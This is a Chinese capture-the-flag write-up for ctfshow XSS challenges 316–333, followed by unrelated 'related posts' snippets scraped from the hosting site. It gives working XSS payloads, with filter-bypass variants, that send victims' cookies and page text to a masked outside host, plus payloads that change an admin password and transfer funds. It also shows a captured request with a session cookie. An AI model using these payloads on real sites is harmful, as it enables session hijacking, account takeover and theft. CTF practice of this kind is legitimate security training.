CTFSHOW WP

题目的原理就是靶机的bot每隔一段时间访问输入的内容,模拟了反射型XSS

316.需要配套接收端XSS脚本

如果未过滤script且对外部资源加载无限制的情况下,可以指定src为精心准备的JS文件,使其加载,产生携带COOKIE的请求。

本解法直接将产生请求写在了表层。

<script>document.location.href='http://xxxxxxxxxxxxxxxxxxxx/x.php?1='+document.cookie</script>

317、318、319

<body onload="document.location.href='http://xxxxxxxxxxxxxxxxx/x.php?1='+document.cookie"></body>

320、321、322、323、324、325、326

空格过滤

可用tab,/**/等绕过

实测iframe,script,blog被过滤

<body/**/οnlοad="document.location.href='http://xxxxxxxxxxxx/x.php?1='+document.cookie"></body>
<body/οnlοad="document.location.href='http://xxxxxxxxxxxxx/x.php?1='+document.cookie"></body>

327

收件人admin

328、329、330

329会在访问后注销COOKIE

思路一

<script>document.location.href='http://xxxxxxxxxxxxxxxxxxx/x2.php?1='+document.cookie;</script>

XSS获取到管理员COOKIE,PHP令牌

1.在存储中修改COOKIE(),直接读取数据(前提是无转跳,或调试器暂停,麻烦)。

2.使用BURP修改字段,获取数据包。

GET /api/?page=1&limit=10 HTTP/1.1
Host: 132c79d6-1033-4025-8af1-8ff1a41d8b6b.challenge.ctf.show:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://132c79d6-1033-4025-8af1-8ff1a41d8b6b.challenge.ctf.show:8080/manager.php
Cookie: PHPSESSID=0ifvs3fbmklc4fpg6shrpr7qal

TIP:关于异步(加深了解可写项目或看项目),页面框架获取和数据拉取填充是异步进行的,不在同一个数据包中,如果通过BURP完成此题,请注意数据包是否为获取指定数据。

思路二

将页面指定部分直接发送到XSS平台

经分析,flag大概率在document.body.innerText,且数据量不大

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fKO7KrXj-1626010948636)(XSS详细教程/QQ截图20210707093956.png)]

<script>document.location.href='http://xxxxxxxxxxxxxxxxxxx/x.php?1='+document.body.innerText;</script>
<script>document.location.href='http://xxxxxxxxxxxxxxxxxxx/x.php?1='+document.body.textContent;</script>
<script>document.querySelector('#top > div.layui-container > div:nth-child(4) > div > div.layui-table-box > div.layui-table-body.layui-table-main').textContent</script>// 329
<script>$('.layui-table-cell.laytable-cell-1-0-1').each(function(index,value){if(value.innerHTML.indexOf('{')>-1){document.location.href='http://xxxxxxxxxxxxxxxxxxxxxxxxx/x.php?1='+value.innerHTML;}});</script>// 定义sleep函数,转跳,睡眠,接口通信,然而由于机器人不用浏览器未实现,如果是真人则可行
<script>function sleep(numberMillis) {var now = new Date();var exitTime=now.getTime() + numberMillis;while (true) {now = new Date();if (now.getTime() > exitTime)return;}};window.location.href="manager.php";sleep(1000);$('.layui-table-cell.laytable-cell-1-0-1').each(function(index,value){if(value.innerHTML.indexOf('{')>-1){document.location.href='http://xxxxxxxxxxxxxxxxxxxxxxxx/x.php?1='+value.innerHTML;}});</script>

TIP:经查阅资料,HTTP协议并未对GET方法的URL传参长度进行限制,不过数据量过大可能被捕获或通信变慢(Dos了就不好了)。

330、331

改密码

<script>document.location.href='/api/change.php?p=123456'</script>
<script>$.ajax({url:'api/change.php',type:'post',data:{p:'123456'}});</script>

332、333

改密码(出问题)

<script>$.ajax({url:'api/change.php',type:'post',data:{p:'123456'}});</script>

对方转账

<script>$.ajax({url:'api/amount.php',type:'post',data:{u:'admin2',a:'9999'}});</script>

[WP/CTFshow]XSS Web316-333相关推荐

  1. ctfshow XSS web316~web333

    web316 反射性 XSS 题目提示我们要以 admin 获取 奇葩的是用网上的 xss 平台,获取的 cookie 全是自己的. 可以在自己的服务器上,创建一个接收 cookie 的 PHP 文件 ...

  2. ctfshow XSS漏洞web316-328

    XSS漏洞 漏洞简介: XSS(Cross Site Scripting)意为跨站脚本攻击.为了不与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写 ...

  3. ctfshow XSS web316-web333 wp

    可能写的有点啰嗦,记录自己做题的过程 文章目录 web316 web317 web318 web319 web320 web321 web322 web323 web324 web325 web326 ...

  4. [CTFSHOW]XSS入门(佛系记录)

    文章目录 前言 web316 web317-319 前面某些题梭哈 web320 web321 web322-324过滤了; web325过滤了. 前面那个String.fromCharCode生产p ...

  5. ctfshow XSS

    收集一下可用的姿势吧, window.open:open() 方法用于打开一个新的浏览器窗口或查找一个已命名的窗口. location.href="/url" 当前页面打开URL页 ...

  6. [WP/ctfshow/XXE]ctfshow_XXE_web373-378

    外部实体注入 WEB373 // 允许加载外部实体 libxml_disable_entity_loader(false); // xml文件来源于数据流 $xmlfile = file_get_co ...

  7. CTFshow月饼杯(第二届) 中秋快乐 部分wp

    苟,都可以苟 只要我osint做的够快我就不会被刷掉.jpg 体验很好,下次还来( 注:tao2更新 目录 1.web web签到 2.crypto 我的木头啊!!! 一封信 3.misc proje ...

  8. ctfshow web入门 sql注入

    无过滤注入 web171 查询语句 $sql = "select username,password from user where username !='flag' and id = ' ...

  9. 一次日歪了的渗透测试

    作者:贝米少年 一次日歪了的渗透测试 目标站: 某微信小程序diy平台 https://scan.dyboy.cn/web/webside tscan 找到一个thinkphp的站 想办法报个错看看版 ...

最新文章

  1. C#的反射机制调用方法
  2. rc.local自启动学习
  3. 【算法分析与设计】基数排序
  4. 创建触发器,将数据库中表的修改记录进日志表
  5. 小白vue_web前端开发:新手学习前端应该先学vue还是react?
  6. seleuium 禁止检测_如何突破网站对selenium的屏蔽
  7. 《田野里的自然历史课》首发 科普中华农耕文明
  8. 区分.net、c#、asp.net三者间的关系
  9. 全网首发:FFMpeg使用NVIDIA DECODER,解码后的数据转换为YUV420P
  10. 世园会开幕式上的机器人_小胖机器人驻扎“2019北京世园会”媒体分会场
  11. python基础编码规范_Python语言的基本语法和编码规范.ppt
  12. numpy的stack大白话解释
  13. 安卓手机测评_民宿预订Airbnb、途家民宿、小猪、木鸟短租、蚂蚁短租五大平台测评...
  14. 复选框的全选、全不选、和获取选中的值;
  15. 奇虎360:5年前赴美上市到今私有化退市,未来路在何方?
  16. 【洛谷 P7299】 【并查集】 Dance Mooves S
  17. 百度统计API的使用
  18. C++ 学习方法汇总
  19. C++和C语言的区别(六)——命名空间
  20. 计算机学院华北科技学院考研,2019年华北科技学院硕士研究生招生拟录取名单公示...

热门文章

  1. 【奇奇怪怪小知识】系统盘(C盘)持续发出“救救我”信号(C盘仅剩不足10G,爆红), 操作过后直接腾出近20G
  2. Mysql数据库简要介绍
  3. HTML、CSS中雪碧图的使用
  4. Spline算法实现
  5. 成功解决ImportError: cannot import name ‘spline‘ from ‘scipy.interpolate‘—利用make_interp_spline函数绘制平滑的曲线
  6. 二.MUI框架 开始体验MUI
  7. jQuery插件autoComplete介绍(10级学员 张帅鹏总结)
  8. 《STM32单片机开发应用教程(HAL库版)—基于国信长天嵌入式竞赛实训平台(CT117E-M4)》第四章4.9 TIM---输入捕获(脉冲频率测量)实验
  9. 在存储过程中的clob数据类型
  10. 湮没在赞誉之中,科学史上鲜为人知的五大“败笔”